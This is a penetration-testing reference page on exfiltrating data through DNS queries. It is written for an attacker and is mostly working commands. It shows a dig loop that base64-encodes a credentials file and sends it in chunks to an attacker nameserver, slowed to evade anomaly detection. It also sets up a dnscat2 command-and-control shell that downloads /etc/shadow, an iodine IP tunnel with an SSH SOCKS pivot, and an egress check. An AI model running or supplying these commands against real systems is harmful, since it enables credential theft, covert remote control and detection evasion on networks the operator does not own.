# DNS Data Exfiltration

- **URL:** https://hackindex.io/services/dns/data-exfiltration/dns-data-exfiltration
- **Path:** DNS > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/dns/data-exfiltration.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

DNS exfiltration encodes data into DNS queries and sends it to an attacker-controlled nameserver. It works in environments where all TCP egress is blocked but DNS lookups (typically UDP port 53) are permitted outbound. DNS traffic is rarely inspected at the content level on most networks.

The tradeoff is bandwidth: DNS queries carry small payloads, transfer is slow, and high query volume is detectable by DNS monitoring tools. Use it for small, high-value data (credentials, keys, tokens), not large archives.

You need control of a domain and an authoritative nameserver to receive the queries. Set up an NS record pointing a subdomain at your attacker machine before the engagement.

- **Manual exfiltration with dig** base64-encode data into subdomain labels and send queries to your nameserver.
- **dnscat2** encrypted C2 channel over DNS with built-in file transfer and shell sessions.
- **iodine** full IP tunnel over DNS, allowing arbitrary TCP connections through the channel.
- **Chunked file transfers** split files into indexed DNS queries for ordered reassembly on the attacker side.
- **Egress testing** confirm DNS queries from the target reach your infrastructure before committing to exfiltration.

## How It Works

Data is encoded as subdomains in DNS queries:

```bash
encoded_chunk.attacker.com
```

Each query carries a chunk of encoded data as a subdomain label. Your nameserver logs or captures these, reassembles them, and decodes the result. Labels are limited to 63 characters and total query length to 253 characters: so each query carries roughly 40-50 bytes of raw data after encoding overhead.

## Manual Exfiltration with dig

For very small payloads (a password, a token, a hash), manual encoding works without any tooling.

Encode the data:

```bash
echo -n "root:toor" | base64 | tr -d '='
# cm9vdDp0b29y
```

Send it as a DNS query:

```bash
dig cm9vdDp0b29y.$DOMAIN @$LHOST
```

On your attacker machine, capture queries with tcpdump:

```bash
tcpdump -i any -n udp port 53 2>/dev/null
```

Or run a simple DNS server that logs all queries:

```bash
python3 -m dnslib.server 2>/dev/null
```

For a file broken into chunks:

```bash
base64 -w 0 /dev/shm/.work/creds.txt | fold -w 40 | nl -nrz -w3 | while read idx chunk; do
    dig ${idx}.${chunk}.$DOMAIN @$LHOST +short > /dev/null 2>&1
    sleep 0.5
done
```

The index prefix ensures chunks arrive in order. The sleep reduces query rate to avoid triggering DNS anomaly detection.

## dnscat2

dnscat2 provides an encrypted command-and-control channel over DNS. It handles encoding, chunking, sequencing, and reassembly automatically.

On your attacker machine (server):

```bash
ruby dnscat2.rb $DOMAIN --no-cache
```

On the target (client):

```bash
./dnscat2 $DOMAIN
```

Once connected, dnscat2 provides a shell session and file transfer commands over the DNS channel:

```bash
session -i 1
# command (target) 1> shell
# command (target) 1> download /etc/shadow /tmp/shadow
```

Pre-shared secret for encrypted sessions:

```bash
# Server
ruby dnscat2.rb $DOMAIN --secret $PASSWORD

# Client
./dnscat2 --secret $PASSWORD $DOMAIN
```

## iodine: Full IP Tunnel over DNS

iodine creates a full IP tunnel over DNS, allowing arbitrary TCP connections through the DNS channel. Slower than a direct tunnel but works where only DNS egress is available.

On your attacker machine:

```bash
iodined -f -c -P $PASSWORD 192.168.99.1 $DOMAIN
```

On the target:

```bash
iodine -f -P $PASSWORD $DOMAIN
```

This creates a `dns0` interface on both ends. Route traffic through it:

```bash
ssh -D $LPORT root@192.168.99.1
```

Now use proxychains as normal through the DNS tunnel. See [Proxychains and SOCKS Pivoting](https://hackindex.io/platforms/linux/lateral-movement/ssh-port-forwarding-and-tunneling).

## Checking DNS Egress

Before committing to DNS exfiltration, confirm DNS queries from the target reach your nameserver:

```bash
dig test.$DOMAIN @$LHOST
```

If your nameserver does not receive the query, DNS egress is blocked or the target uses an internal resolver that does not forward external queries. In that case check whether the internal DNS resolver forwards unknown domains: if it does, queries for your domain will still reach you indirectly.

## References

- [iagox86/dnscat2](https://github.com/iagox86/dnscat2) - GitHub dnscat2: encrypted C2 and file transfer over DNS. Client and server source with usage documentation.
- [yarrick/iodine](https://github.com/yarrick/iodine) - GitHub iodine: IPv4 over DNS tunnel. Supports multiple encoding schemes and authentication.
- [dig(1)](https://man7.org/linux/man-pages/man1/dig.1.html) - Linux man page Reference for DNS query options used in manual exfiltration.
